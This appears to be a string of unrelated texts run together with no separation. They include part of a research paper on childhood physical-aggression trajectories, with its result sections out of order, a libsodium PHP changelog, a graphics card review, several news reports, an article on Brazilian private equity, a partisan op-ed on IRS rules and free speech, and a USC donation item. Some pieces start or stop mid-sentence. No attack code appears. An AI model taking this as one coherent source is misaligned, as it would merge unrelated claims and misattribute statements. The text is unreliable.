Finally, reports the results for the CDP sample (Nashville and Knoxville, Tennessee, and Bloomington, Indiana). Here a three-group model best fits the data. The largest group (64%) displays little physical aggression. Although this group’s trajectory does suggest rising physical aggression, this rise is insignificant and virtually undetectable. The next largest group (29%) displays a modest level of physical aggression that increases slightly from age 5 through age 11. This increase, however, is not significant. Finally, there is a small group, 7% of the sample, who display a high and rising rate of physical aggression. The size and the pattern of behavior of this group are virtually identical to those of the high-rate group identified in the Pittsburgh sample.
The boys in the Pittsburgh sample follow one of four physical aggression trajectories. See. As in the other four samples, a group of boys in the Pittsburgh sample engage in little physically aggressive behavior. This group accounts for 36% of the sample. Another, smaller group (10%) comprises boys who engage in consistently high levels of physical aggression that increases over time. The remaining 55% of the boys fall into one of two groups. One group includes those boys (22%) who exhibit stable, moderately high levels of physical aggression over time. Boys in the second group exhibit low levels of physical aggression early on that increase over time. 2
Physical aggression in the sample of boys from Dunedin, New Zealand, is also best represented by a three-group model. See. Also, like the Christchurch sample, all of the trajectories are stable. A majority of boys (53%) exhibit little to no physical aggression. Conversely, a small group of boys (9%) exhibit consistently high levels of physical aggression over time. The remainder of the boys (38%) exhibit a low but constant level of physical aggression.
reports results for boys in the Christchurch, New Zealand, sample. Here a three-group model best represents the developmental pathways of physical aggression. The majority of boys in this sample (57%) follow a stable trajectory of little physical aggression. There is also a small chronically, aggressive group (11%) that displays a relatively high level of physical aggression that is stable over time. The remaining 32% of the sample follow a trajectory reflecting a stable pattern of low-level physical aggression over time.
reports the model for the representative sample of boys from the Canadian province of Quebec. This model also identifies four distinct developmental trajectories for physical aggression. In this model, there is a small group of chronic offenders (7% of the sample), who, despite a declining trajectory, continue to exhibit relatively high levels of physical aggression over time. There is also a small group of boys who exhibit little physical aggression over time. This group accounts for 19% of the sample. The remaining two groups, who comprise the vast majority of the sample, reflect a pattern of decreasing physical aggression over time, similar to the patterns observed in the high- and low-level desister trajectories in the Montreal sample.
reports the results for the Montreal sample used in Nagin and Tremblay’s (1999) single-site study. Four distinct developmental pathways were identified. There is a small group of individuals (14%) who almost never engage in physical aggression. The behavior of this group exhibits absolute stability—that is, little to no change in behavior over time. There is a similarly stable but even smaller group (4%) who engage in consistently high levels of physical aggression over time. The bulk of the sample falls into one of two declining trajectory groups. Those in the largest group (53%) engage in some physical aggression early on and desist to almost zero over time. A second group, representing 28% of the sample, engages in physical aggression at a rate nearly equal to that of the chronics at age 6 but tapers off thereafter. This group, while desisting over time, still displays some physical aggression at age 15. Evidence of absolute stability is limited. Only the two smallest groups—the never and chronic groups—show no evidence of changing levels of physical aggression. There is, however, substantial evidence of rank stability. Change in relative ranking would be evidenced by trajectories intersecting. The point of intersection would demarcate the age at which the two groups change relative rank. None of the trajectories intersect.
Because the central aim of this study was to test whether physical aggression is a distinct risk factor for later violent delinquency, we begin by describing physical aggression trajectories for boys at each site. The models we present are based on teacher reports of physical aggression at all sites. Mother reports of externalizing behaviors were also available at most sites. Results based on mother reports of these behaviors are not materially distinct.
Discussion and Conclusions
In general, physical aggression from school entry to early adolescence is rare. However, among both boys and girls, a small group of children stand out as exhibiting notably more physically aggressive behavior than their peers throughout childhood. Moreover, patterns of physical aggression appear to be relatively stable, with some evidence of gradual increases or decreases over time but consistent rank stability across sites and sex. There is no evidence of the sudden and dramatic changes in disruptive behaviors implicated in typologies that, predict the onset of problem behavior in late childhood or during adolescence (e.g., Loeber & Hay, 1994; Moffitt, 1993; Patterson, DeBaryshe, & Ramsey, 1989). This may be due to the fact that most of the trajectory analyses included subjects who were not older than 13 years. However, the analyses with the Montreal sample included data on boys up to age 15 and did not show any indication of an adolescent-onset group. Instead, they showed a continuation of the desisting process among all but the chronic physical aggression group (see also Brame, Nagin & Tremblay, 2001).
Nonetheless, we recognize that these trajectory analyses, which end in early adolescence, may not reflect behavioral changes resulting from important developmental shifts in biological and contextual factors during the transitions into and out of adolescence. In particular, gains in physical size and strength accompanying puberty, coupled with reductions in parental and other adult supervision and increases in the amount and importance of peer interaction, could all trigger, in some adolescents, sudden increases in disruptive behaviors not captured in these analyses. A valuable next step would be to extend the current analysis to explore the developmental trajectories of physical aggression into young adulthood, taking into account potential developmental shifts in the manifestation of such behaviors over time.
Given evidence from trajectory analyses suggesting that across sites, there are small but identifiable numbers of both boys and girls who exhibit chronic physical aggression throughout childhood, we examined whether this chronic behavior pattern led to adolescent delinquency. Consistent with the results of Nagin and Tremblay (1999), our results suggest that physical aggression in childhood is a distinct predictor of later violent delinquency. Our findings also suggest that this relation extends to nonviolent offending as well |
review of the Elected Presidency system covering the qualifying criteria for candidacy in January last year.
The Constitutional Commission, chaired by Chief Justice Sundaresh Menon, was tasked to study if the qualifying criteria for candidacy should be updated as well as the framework governing the exercise of the President’s custodial powers.
From Feb 18 to Mar 21 last year, the commission's secretariat sought public feedback on the qualifying process for candidacy for the Elected President. It received more than 100 written submissions and also conducted public hearings in April and May, where contributors of 20 written submissions on specific aspects of the Elected Presidency were invited to make oral representations and provide clarifications.
Before the Bill to amend the constitution was finally passed on Nov 9 last year, there was an intense three-day debate in Parliament where several Members of Parliament (MPs) and Nominated MPs raised issues such as the need for a more holistic qualifying criteria and concerns over race.Return Changelog for libsodium Release What has changed? 2.0.21 - Detached signature strings were not properly terminated. This has been fixed. 2.0.20 - Restore compatibility with PHP 2.0.19 - Restore compatibility with 7.3 2.0.18 - Restore compatibility with PHP before 7.3 2.0.17 - PHP 7.3 compatibility. 2.0.16 - PHP 7.3 compatibility. 2.0.15 - The version displayed in `phpinfo()` wasn't updated in the previous
release. This has been fixed. Nothing else has changed. 2.0.14 - Some Base64-encoded values couldn't be decoded when using unpadded variants. This has been fixed. 2.0.13 - Security fix: sodium_pad() used to read extra memory when given an empty string 2.0.12 - Bug fix: sodium_pad() din't support block sizes over 255 bytes
- Bug fix: file descriptors were not properly closed when using PHP as an Apache module, and Apache was reloaded 2.0.11 - Added a workaround for a PHP vulnerability affecting all PHP7 versions up to and including 7.2.5.
- Bindings for crypto_aead_*_detached() functions have been added. 2.0.10 No code change. Fixes an installation issue with PECL. 2.0.9 No code change. This release was made to ensure that the stable channel installs version 2.x. 1.0.7 This is a maintenance release, compatible with libsodium 1.0.15+ 2.0.8 Support for libsodium 1.0.15 was implemented. 2.0.7 Requires at least php 7.0 and libsodium 1.0.9. 2.0.6 Requires at least php 7.0 and libsodium 1.0.9. 2.0.5 Requires at least php 7.0 and libsodium 1.0.9. 2.0.4 Requires at least php 7.0 and libsodium 1.0.9. 2.0.3 Requires at least php 7.0 and libsodium 1.0.9. 2.0.2 Version 2.0.0 couldn't be compiled on old libsodium versions.
This has been fixed. 2.0.1 Version 2.0.0 couldn't be compiled on old libsodium versions.
This has been fixed. 2.0.0 This is a major release, featuring a new API identical to the one of sodium extension included with PHP 7.2.
Functions are now in the global namespace, and return exceptions.
Note that PHP 5 is not supported any more.
Support for the key exchange API (crypto_kx), key derivation (crypto_kdf) and
for the xchacha20-poly1305 construction have been added.
Many bugs have been squashed. 1.0.6 - The PWHASH_MEMLIMIT_{MODERATE,SENSITIVE} constants are correctly defined 1.0.5 - The IETF variant of the ChaCha20-Poly1305 construction has been added 1.0.4 - Fixed compatibility with old libsodium versions 1.0.3 - The Argon2 function is now available for password hashing 1.0.2 - Compatibility with old distros and old versions of libsodium 1.0.1 - Added crypto_aead_aes256gcm_*()
- Added crypto_box_seed_keypair()
- Added crypto_sign_ed25519_sk_to_curve25519() and crypto_sign_ed25519_pk_to_curve25519()
- Added compare()
- On PHP7, make memzero() and increment() avoid zeroing an object if it is not a reference or if its reference count is > 1 1.0.0 - The extension can now be statically compiled.
- crypto_sign_publickey_from_secretkey(), and crypto_auth() have been added.
- The extension and its API are now marked stable. 0.2.1 - Fixed support for old versions of libsodium
- New helper function: increment() 0.2.0 - Methods were moved to functions in a \Sodium\ namespace.
- PHP 7 is now fully supported.
- crypto_aead_chacha20poly1305_decrypt() now returns FALSE instead of a PHP error if verification fails.
- multi-part hashing was implemented (crypto_generichash_{init|update|final})
- sealed boxes have been implemented (crypto_seal) 0.1.3 crypto_scalarmult() has been added. 0.1.2 Initial release 0.1.1 Initial release ReturnIn today’s review we will present one of the latest HIS Digital graphics cards which is RX460 Slim iCooler OC 2GB. Probably the most interesting thing about this graphics card is cooling design which is only single slot while reference cooling takes two PCI/PCIE slots. It’s for sure advantage to all users who are building small computers.
Except mentioned slim cooler, this card is also overclocked comparing to reference AMD design. Smaller, cooler and faster at the same time? Sounds great! In this review you will find out how all of these features work in real.
Low TDP & More Power-saving This Single-slot RX 460 comes with Low TDP (Thermal Design Power) merely at 75W but can run at overclocked performance at 1220MHz without the need of any 6-pin power socket. Thus the user will find it more convenient to adopt this card and saves more power! 0dB Smart Fan Prolong the life-span of the fans
Start to spin when the GPU temperature reaches about 60°C
Stop spinning when started & when GPU temperature drops to about 50°C
Provide a silence environment for enjoying Home Movie & Casual Gaming iCooler symbolizes “Quieter” The card is equipped with the widely acclaimed HIS iCooler – certified by HIS that generates less than 28dB in 2D mode. HIS iCooler provides an outstanding cooling performance and quiet environment.
HD Game Streaming Stream and record your favorite games with virtually no performance impact – thanks to Polaris architecture with Ultra HD HEVC Encode and Decode. With a dedicated multimedia block 4K, H.265, 60 FPS encode and decode is now possible! Cool and Efficient Performance Polaris architecture precisely combines the latest FinFET 14 process technology and AMD’s advanced power, gating and clocking technologies for a whisper-quiet gaming experience. Enjoy gaming features that dynamically optimize sound volumes based on actual temperature and workloads. And be ready for the latest displays with support for HDMI® 2.0 and Display Port 1.4 HDR Ready! Game-Changing Control Radeon Software drivers enable the ultimate in performance, features and stability and are designed to continuously improve your experience with up-to-the-minute enhancements, updates and optimizations. Push your hardware to the limits or underclock to near silent gaming with Radeon WattMan (formerly AMD Overdrive™) for a whole new level of customization and per state control over clocks, voltages, and temperature.
OK, let’s take closer look at the specifications of the HIS Radeon RX460 Slim-iCooler OC 2GB Graphics Card. Buy the Radeon RX460 from Amazon – https://goo.gl/2gM9r2.Stay up to date on breaking news with our mobile app from the Apple app store or the Google Play store.
SAN JOSE — A wrong-way driver who was involved in two collisions early Sunday morning on Highway 101 in South San Jose died after the second crash sparked a vehicle fire, according to the California Highway Patrol.
The CHP is still working to determine the name, age and gender of the driver who died, according to Officer Jose Jimenez.
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San Jose man dies six days after being hit by car The CHP was first notified of a crash involving a wrong-way driver on southbound Highway 101 near Metcalf Road at about 5:45 a.m.
Investigators determined someone behind the wheel of a white Nissan Altima was traveling in the wrong direction on southbound 101, Jimenez said. The driver was making a U-turn on 101 when the Altima was hit by a Honda Accord, Jimenez said.
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The crash caused both vehicles to block the southbound lanes, Jimenez said.
Following the first crash, the female driver of the Accord was assisted out of her car by another driver who witnessed the collision and stopped to help, Jimenez said. The driver of the Altima remained in the car.
About five minutes later, a Toyota Corolla travelling on Highway 101 crashed into the Nissan. The impact caused the Altima to “become fully involved in flames,” Jimenez said.
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Firefighters were the first to respond to the scene, Jimenez said.
The fatal crash and ensuing investigation resulted in lanes of traffic on southbound 101 to be closed for several hours, which caused a major backup for motorists on the last day of the Gilroy Garlic Festival.
The collision remains under investigation. Investigators do now know if alcohol or drugs were factors in the crash, Jimenez said.An emotionally disturbed woman was found wandering the 24th floor of Trump Tower on Friday evening, police sources said.
Valarie Blazek, 31, entered through a tenants’ entrance about 9:30 p.m., said police.
Secret Service agents on the 24th floor spotted her talking to herself and realized she didn’t live there, said police sources.
Blazek said something to the effect that she was visiting her uncle, said police sources. It was unclear to the sources whether she in fact has an uncle in the building.
Blazek did not make any threatening statements or gestures and appeared to pose no danger to President-elect Donald Trump, said police.
It’s unclear if Blazek had any access to the area near Trump’s residence, which is on the top floors of the 58-story building.
Blazek was taken to New York Presbyterian Hospital/Weill Cornell Medical Center for a psychiatric evaluation, said authorities. She is not expected to be charged.Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
BUBBLY in hand and bubbly on the boards. The scene at the BM&FBOVESPA, Brazil's main stockmarket, earlier this month encapsulated Brazil's thriving alternative-investment industry. A champagne-sipping crowd milled around José Carlos Reis de Magalhães, the boss of Tarpon, a local private-equity firm, on the floor of Brazil's slick, renovated exchange. They were toasting the successful initial public offering (IPO) of Arezzo, Brazil's largest shoe retailer. Tarpon had bought a 25% stake in Arezzo for 76m reais ($43.8m) in 2007 and seen its investment nearly quintuple in value in three years. Tarpon's own share price is up by 143% from a year ago. The firm counts big endowments, like Stanford University, among the investors in its $3.5 billion fund.
Tarpon is not the only part of Brazil's private-equity and hedge-fund industry to have attracted international attention. In September Blackstone, a private-equity giant, paid $200m to take a 40% stake in Pátria Investimentos, a local private-equity firm. In October JPMorgan Chase's Highbridge hedge fund, the world's largest, bought a majority stake in Gávea Investimentos, a $6 billion Brazilian fund. Brazil is “absolutely the most attractive emerging market right now,” says the boss of a big American private-equity firm. Other economies may be bigger but investments there are seen as politically riskier. The Brazilian government is less hostile in its attitudes toward private, and foreign, investment.
Sceptics recall the last time people declared a golden age for private-equity investment in Brazil. Foreign firms and banks flocked there in the 1990s. When shocks from the Asian crisis pulsed through the country, and Brazil devalued the currency in 1999, plenty flocked out again. Some local firms survived the bloodshed: GP Investments, Brazil's largest private-equity firm, is still going strong, as are a handful of others from that era. But most global firms left and didn't come back until 2006, when investment activity started to rev up again.
They are returning to a bigger, more resilient economy. OECD countries saw their GDP decline by 2.7% over the course of 2008 and 2009; Brazilian GDP grew by 4.9% during that time, and by a further 7.5% last year. It is now the world's eighth-largest economy and could overtake Britain, France and Italy to become the fifth-largest by the end of this decade. The commodities boom is one source of growth: Brazil is the largest exporter of sugar, coffee and meat, and second only to America in soyabeans. Consumer spending is vibrant. The country is the world's second-largest market for cosmetics and the third-largest for mobile phones. Its hosting of the 2014 FIFA World Cup and 2016 Olympics will require at least $50 billion in infrastructure investments, many of them privately funded.
Money is pouring in, as investors throng funds' offices on bustling avenues like Faria Lima in São Paulo and Paiva de Ataulfo in Rio. Local hedge funds managed around $243 billion in assets at the end of 2010, up by 23% from 2009, according to the Brazilian Financial and Capital Markets Association, an industry group (see chart 1). Private-equity firms oversee $36 billion.
There are several reasons for this explosive growth. One is the maturing of the country's capital markets. Laws protecting minority shareholders' rights, for example, have fostered confidence. Brazil's exchange is now the fourth-largest in the world by market value. That is a boon for hedge funds, which need liquid instruments to trade, and for private-equity firms, which use IPOs to cash out their investments.
Investors are freer to choose where to put their money, too. Brazil's 400 or so pension funds, with assets of around $342 billion, have been allowed to place money more freely with alternative-investment firms since 2009. Pensions now account for around 22% of investments in private equity and venture capital, according to Claudio Furtado of Fundação Getulio Vargas, a university. Valia, the $6.8 billion pension fund of Vale, a miner, has increased its allocation to private equity from 1% of assets three years ago to 6% in 2011.
The Brazilian government's sunny view of hedge funds and private-equity firms also helps explain their growth over the past few years. In many countries governments treat private-equity firms and hedge funds with either loathing or teeth-grinding tolerance. Partly because bank loans are very short-term, the tone from Brazilian officials is different. “As a country and an economy, we need private equity and venture capitalists to invest and to help our entrepreneurs,” says Maria Helena Santana, who runs the CVM, Brazil's equivalent of America's Securities and Exchange Commission (SEC).
When Brazil's government raised the tax on foreign investment in fixed-income instruments last year from 2% to 6%, private-equity firms complained. The government promptly changed it back—but only for them. BNDES, Brazil's development bank, has put $1.1 billion into private-equity funds, and is the industry's top investor. Private equity accounted for a higher proportion of GDP in 2010 than in most other emerging markets (see chart 2).
Another reason for the rise in alternatives is a decline in interest rates. The benchmark Selic rate stands at 11.25%, much lower than the 26.5% it was set at in 2003. The threat of rising inflation may have reversed that trend in the short term but rates are expected to keep falling in the long run. Brazilian investors can no longer reap extraordinary returns just from parking their money in risk-free bonds. Maurício Wanderley of Valia says he looks for returns of 25-30% on his private-equity investments, and so far they've been “above our expectations”. Brazilian hedge funds have posted annualised gains of 17% over the past three years, according to EurekaHedge, a research firm. (North American funds have managed 8.6% on an annualised basis in that time.)
The buzz around Brazil will put those returns under pressure, however. Alvaro Gonçalves of Stratus, a Brazilian private-equity firm, appears dismayed at the speed with which “armies” of global investment firms are arriving. Rather than fly in for visits, they now want to set up offices and hire local deal-makers. The competition is causing salaries to rise. Jon Toscano of Trivèlla Investimentos, a private-equity firm, estimates that executive salaries have nearly tripled in as many years.
Greater competition has less effect on the hedge-fund industry, since there are many trading opportunities. But for private-equity firms, where the number of deal opportunities is smaller, there are huge consequences. Prices for deals have already gone up in the past year—although most investors say that companies are still not as expensive as they are in China or India, where there is even more competition.
The three largest private-equity deals in Brazil's history took place in 2010, all of them carried out by foreign firms. Stakes in consumer-related companies are particularly prized. Carlyle Group, an American buy-out firm, did three deals in 2010, involving a lingerie company, a travel firm and a health-care company—all of them bets on Brazil's middle class. Many local firms are ramping up their efforts to look for deals beyond São Paulo and Rio, where most of the foreign firms are based.
Ballooning deal prices may also drive crafty local firms to invest more money abroad. 3G Capital bought Burger King, an American fast-food chain, for $4 billion last year because the management felt Brazil had become too expensive and that global firms were too busy chasing deals in emerging markets to notice the opportunities at home. “You can do a buy-out in the United States of a global brand, a well-known company, and really face no competition,” says Alexandre Behring of 3G.
Back in Brazil, some worry that the new entrants' preference for big leveraged buy-outs (LBOs) could damage the industry's unusually wholesome reputation. In Brazil private-equity deals are mostly unleveraged, and often involve minority positions in medium-sized companies. That's partly because high interest rates make debt crushingly expensive—the average rate for a commercial business loan is 29%. But even if credit becomes more readily available, Brazilian firms are nervous of it. Brazilian managers reel off the names of highly leveraged buy-outs that have tanked in the West. “I hope we can avoid the image that we are raiders and vultures,” says Mr Gonçalves. “This is the profile that these large LBO firms left in markets, and we don't want them to do that here.”
It is more likely that the foreigners will have to adapt to Brazil than the other way round. Unlike China and India but like many other emerging markets, Brazil has only a limited number of large firms to invest in. Private-equity investors won't be able to swim in a sea of $500m and $1 billion deals. Given the scarcity of long-term financing, some are looking to lend instead. “A large part of our plan is to provide credit and growth-equity capital” in Brazil, says Glenn Dubin, the boss of Highbridge.
Although Brazil's equity markets are liquid, concentration remains a problem for hedge funds. Eight companies account for more than 50% of the market value of the BM&FBOVESPA. Shorting the shares of smaller firms is expensive because it is hard to find shares to borrow. Larger funds have to be patient when building up positions. Luis Stuhlberger of Credit Suisse Hedging-Griffo, Brazil's largest hedge fund, says it is like being “an elephant in a bathroom. You have to move very slowly, otherwise you break everything.”
Funds must also comply with strict requirements for transparency and liquidity. Brazilian hedge funds must report their net asset values daily and their positions on a monthly basis. These are then posted publicly on the website of the CVM for anyone to see. Thanks to the country's long experience of volatility and inflation, most investors do not agree to long lockup periods for their money. As a result, many funds offer daily liquidity, which means they do not have much flexibility with their strategies and cannot take illiquid positions.
Some managers complain that Brazil's regulatory system costs them their edge, because others know what they are up to. But most don't seem to mind too much. Transparency brings legitimacy to the industry and calms investors, many say. Frauds like Bernie Madoff's, which have dented investor confidence in hedge funds in America and Europe, are less likely to go unnoticed in Brazil. “Madoff would never happen in Brazil,” says Eduardo Lopes of Ashmore, an emerging-markets fund.
Indeed, other markets are moving closer to a Brazilian-style system of regulating alternative investments. Hedge funds and private-equity firms have been mostly unregulated in America and Europe, but that is set to change. Later this year, America will start to require funds to register with the SEC and disclose some of their holdings to regulators. In France hedge funds now have to report their short positions; it is possible that other countries in Europe will enact similar requirements. “The financial crisis showed that many of the choices we made before are good choices,” says Ms Santana of the CVM.
There are still plenty of risks in emerging markets, of course. Inflation remains a worry, and Brazil's battle to keep down the value of the real has led to other capital controls on top of the tax on foreign investment. The BOVESPA index has declined by 6% in the past month. But here too, Brazilian alternative-investment managers claim an edge because they have been through rocky markets many times before. “They've basically taken as much chemotherapy as you can take and survived it,” says a foreign fund manager.
Many managers in China and other emerging markets are familiar only with good times, so some investors worry that they might not perform well if the economy stumbled. Arminio Fraga, a former central-bank governor who founded Gávea, thinks the volatile global economic environment will play to Brazilian managers' strengths in the coming years: “There are a lot of things out there that look familiar to us, given Brazil's history.”Russia's President Vladimir Putin (L) and his Egyptian counterpart Abdel Fattah al-Sisi attend a welcoming ceremony onboard guided missile cruiser Moskva at the Black Sea port of Sochi, August 12, 2014. REUTERS/Alexei Druzhinin/RIA Novosti/Kremlin
MOSCOW (Reuters) - Russia and Egypt have reached a preliminary deal for Cairo to buy arms worth $3.5 billion from Moscow, Interfax news agency quoted the head of a Russian state arms agency as saying on Wednesday.
Speaking during an arms trade exhibition in South Africa, the head of the Federal Service for Military-Technical Cooperation, Alexander Fomin, did not give further details.
Russia, the world’s second-largest arms exporter, has sought to boost its military ties with Egypt after relations between Cairo and its long-standing ally Washington soured, causing some defense cooperation between the two countries to be frozen.
The head of Rosoboronexport, a state body that deals with arms exports, said the value of the agency’s order book was high in spite of Western sanctions against Moscow over Ukraine.
“Today our orders portfolio stands at $38.7 billion. This is one of the strongest figures Rosoboronexport has had in recent years,” Anatoly Isaykin told a news conference at the same arms expo, according to Interfax.
The United States and European Union have targeted Russia’s arms industry as part of sanctions against Moscow for what they call its role in fanning separatist unrest in Ukraine.
They accuse Russia of sending weapons and fighters to reinforce rebels battling Ukrainian government troops — a charge Moscow has rejected.Image copyright AP Image caption Donald Trump has announced he will be leaving his business "in total"
President-elect Donald Trump has announced he is to leave his business empire to focus on the presidency and avoid perceived conflicts of interest.
Mr Trump gave few details but said he would expand on his plans at a press conference next month.
He has previously dismissed concerns over potential conflicts between his businesses and the presidency.
Meanwhile, former Goldman Sachs executive Steven Mnuchin confirmed he had been picked as treasury secretary.
Billionaire investor Wilbur Ross has been chosen for commerce secretary.
Mr Trump meanwhile focused on his plans to distance himself from his business in a series of four tweets released over 20 minutes.
Image copyright @realDonaldTrump
Image copyright @realDonaldTrump
Image copyright @realDonaldTrump
Image copyright @realDonaldTrump
As Mr Trump noted there is no legal requirement to liquidate assets but past US presidents have set aside their business dealings.
Mr Trump's rivals have raised repeated concerns this may cause problems in the coming months.
Sacrifice time: analysis by Michelle Fleury, BBC Business Correspondent, New York
Donald Trump may not be mandated to leave his business but he would be wise to do so. True, the president is exempt from most conflict-of-interest laws but not the "emoluments clause", which prohibits public officials from taking payments "of any kind whatever from any king, prince or foreign state".
He is already taking heat from Democrats. Maryland Senator Ben Cardin has introduced a resolution requesting that Donald Trump hand over control of his business to someone who does not have a relationship with him while he is president.
With Mr Trump's ethical problem in danger of becoming a political problem, he is right to try to defuse these concerns. The question is, how?
Selling his business is the safest option but one the president-elect seems loath to do. If he chooses to turn over his business empire to his children, that will not resolve the issue. How would their interests be very different from his?
On the campaign trail, Donald Trump talked about changing Washington's self-serving culture. He spoke of "draining the swamp" and the American people are unlikely to take kindly to even the appearance of their president making money off the office. We will learn more on 15 December about what sacrifices he is willing to make to lead by example.
The property tycoon is said to be currently worth $3.7bn (£3bn) by Forbes magazine, with more than 500 different enterprises in his business empire.
Mr Trump, who takes office on 20 January, had previously indicated to the New York Times that he was considering separating his two areas of responsibility but was confident he could run both "perfectly".
He has also previously suggested he could hand over his sprawling business interests to his three eldest children - Ivanka, Eric and Donald Jr, who already hold roles within his empire.
Image copyright AFP Image caption Children (second left to right, seen here sitting beside Melania) Ivanka, Eric and Donald Jr are already involved in the business
However, Reince Priebus, Mr Trump's incoming White House chief of staff, refused to say on MSNBC's Morning Joe whether he was handing the business to his children or putting it into a blind trust, which would place the management of his assets in the hands of other experts.
"I'm not ready to reveal that really," he said, adding Mr Trump had "got the best people in America working on it".
Later on Wednesday, Trump transition spokesman Jason Miller told Fox News' Fox & Friends that the president-elect is "completely getting out of the business" and "handing it over to the family".
Mr Miller added the mid-December news conference allows Mr Trump time to work out the details of breaking away from his business empire.
Less than a mile down the road from the White House sits one of Mr Trump's potential conflicts of interest.
The brand new Trump International Hotel was leased to Mr Trump's organisation in 2013 by the General Services Administration (GSA), a federal agency.
When he takes office, Mr Trump will be in charge of appointing the administrator of the GSA.“Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press…” — First Amendment to the U.S. Constitution
Perhaps at no time in its history since the passage of the Alien and Sedition Acts have the citizens of the United States been more in danger of losing their First Amendment right to free speech than they are today. How ironic then, that the attacks are coming primarily from the political left, who have long declared themselves defenders of free speech.
Yet the astute William F. Buckley seems to have had it right when he observed that ”Liberals claim to want to give a hearing to other views but then are shocked and offended to discover that there are other views.”Such reviling of opposing speech is rampant today, and is getting worse.
Following the revelation last year that the IRS had been targeting conservative groups with words like “TEA Party” or “Patriot” in their names, Obama and Attorney General Eric Holder claimed to be shocked and appalled that this agency would be used as a bludgeon to silence their political opponents. Senior IRS official Lois Lerner resigned, and refused to testify before Congress, invoking her 5th Amendment right against self-incrimination. The nation was assured that the Obama administration would get to the bottom of it.
The Obama administration has hit the bottom, alright, but instead of admitting that these actions were and are an egregious affront to the concept of free speech, the administration is now seeking to legalize and institutionalize the very behavior which they previously promised to end. This comes in the form of new IRS regulations being proposed regarding the handling of tax-exempt groups and the content of their speech.
As reported by Mat Staver of Liberty Counsel, IRS Regulation-134417-13, “Guidance for Tax-Exempt Social Welfare Organizations on Candidate-Related Political Activities,” is a proposed new regulation that is an outrageously brazen attempt by the IRS to silence the speech of 501(c)(4) organizations before the upcoming election. If implemented, the regulation would prohibit a 501(c)(4) from speaking to matters of public concern during the 2014 election cycle.
In part, the proposed regulation:
Prohibits using words like “oppose,” “vote,” “support,” “defeat,” and “reject;”
Prohibits mentioning, on its website or on any communication (email, letter, etc.) that would reach 500 people or more, the name of a candidate for office 30 days prior to a primary election and 60 days prior to a general election;
Prohibits mentioning the name of a political party 30 days prior to a primary election and 60 days prior to a general election, if that party has a candidate running for office;
Prohibits voter registration drives or conducting a nonpartisan “get-out-the-vote” drive;
Prohibits creating or distributing voter guides outlining how incumbents voted on particular bills;
Prohibits hosting candidates for office at any event, including debates and charitable fundraisers, 30 days prior to a primary election or 60 days prior to a general election, if the candidate is part of the event’s program;
Prohibits distributing any materials prepared on behalf of a candidate for office;
Restricts employees of such organizations from volunteering;
Restricts the ability of officers and leaders of such organizations to make public statements regarding the nomination of judges;
Creates a 90-day blackout period, in an election year, that restricts the speech of §501(c)(4) organizations;
Declares political activity as contrary to the promotion of social welfare; and
Protects labor unions and trade associations by not including them under the proposed regulations.”
Senator Chuck Schumer (D-NY) not only does not oppose this abridgment of free speech, he is positively gleeful about the proposed regulations and the damage they will do to the free speech of conservative groups which oppose and expose the reckless spending and violations of constitutional rights being waged by Democrats and this administration. In a press release published on his Senate website, Schumer calls for heavier crackdowns on conservative groups, like the TEA Party, which he says pushes policies that are “the route of the Know-Nothings, Prohibitionists, Father Coughlins, and the Huey Longs, towards anger, negativity and even hatred.”
This latest salvo from the left is just the latest in a growing list of assaults on conservative free speech. The Founding Fathers gave very broad interpretation as to what constitutes free speech, preferring to let even offensive speech be aired in the public square, where it could be exposed for its own vileness by juxtaposing it against truth, rather than have the heavy hand of government be the final arbiter of what is acceptable. Furthermore, the First Amendment protections for free speech were primarily enacted as guarantors of political speech, which was the most important type of speech in this fledgling republic.
Yet today, even as they give reverential deference and a defense of flag burning, profanity, pornography, and stripping as examples of expression that should be protected, they are rabidly opposed to these same protections being extended to conservative political speech. The left justifies the exclusion of conservative thought and speech in the public domain by claiming that it is offensive, or “hate speech”, or some other such categorization that makes it unworthy.
For those that doubt this assertion, simply go up to your nearest liberal friend and tell them that you think the Supreme Court ruled correctly in the Citizens United case. Watch their apoplectic response; see their eyes bulge, their fists clench, and their mouths start to foam. Watch as they fly into a rage and rant about how evil corporations and shady, corrupt power brokers like the Koch Brothers are ruining the democratic process and crushing the voice of the people.
Then watch their impotent rage and frustration when you point out that, of the Top 25 organizations that give the most in political donations, a staggering nineteen (76%) give a majority of their money to DEMOCRATS, and six of the top ten (and ten of the top 14) heaviest donors are labor unions, which give virtually nothing (between 0-9%) to Republicans, but heavily “invest” in the Democrats, who return the favor by doling out billions in taxpayer dollars to their organizations. As for the evil, hated Koch Brothers, who are supposedly ruining our “democracy” with their corrupt money? They rank…#59.
Yet as exposed previously, these free speech-crushing regulations would exempt labor unions, which would still get to funnel hundreds of millions of dollars to Democrats, and still get to mobilize an army of union members to engage in political activities for Democrats, all under the color of law.
You see, liberals think it is horrible for SCOTUS to allow people who organize for a common cause (corporations) the same right to use their money for political advocacy as another group that has organized for a common cause (labor unions).
In another example, the Obama administration’s FCC (Federal Communications Commission) is considering placing the equivalent of zampolits (political officers embedded in the Soviet army to report on and punish speech critical of the Soviet government) into newsrooms around the country, ostensibly to ““identify and understand the critical information needs of the American public, with special emphasis on vulnerable-disadvantaged populations.” To translate that from its native liberalese, that means they will be monitoring for conservative speech or leanings for the purpose of censoring and punishing it.
Liberals and Democrats (but I repeat myself) would do well to remember that political power is fleeting and cyclical. Two years after former Clinton adviser James Carville declared the beginning of forty years of Democrat rule (following the 2008 elections which gave Democrats unchallenged control of the House, Senate, and White House), the TEA Party helped propel Republicans to the single largest single-election gains by a party in nearly a century. Likewise, with ObamaCare a disaster, the economy in shambles, and unemployment/underemployment remaining frustratingly high, Republicans are poised to make significant gains in November, and potentially retake the White House in 2016.
If that happens, liberal Democrats will have no credibility, and little sympathy, if a Republican president and Congress decide to continue this precedent set by Obama and the Democrats to crush their political enemies and ignore the Constitution and the rule of law. Karma is a bear…Hip-hop mogul Dr. Dre, whose real name is Andre Young, and music industry entrepreneur Jimmy Iovine have donated a combined $70 million to create a new institute at the University of Southern California, the school announced Tuesday night.
The huge gift from the two who have been music business partners in the past will be used to create the Jimmy Iovine and Andre Young Academy for Arts, Technology and the Business of Innovation.
The academy will provide a special four-year program for undergraduates whose interests span several fields from marketing to computer science to visual design and other arts. It will include one-on-one faculty mentoring with professors from programs around the university and interaction with entertainment industry luminaries.
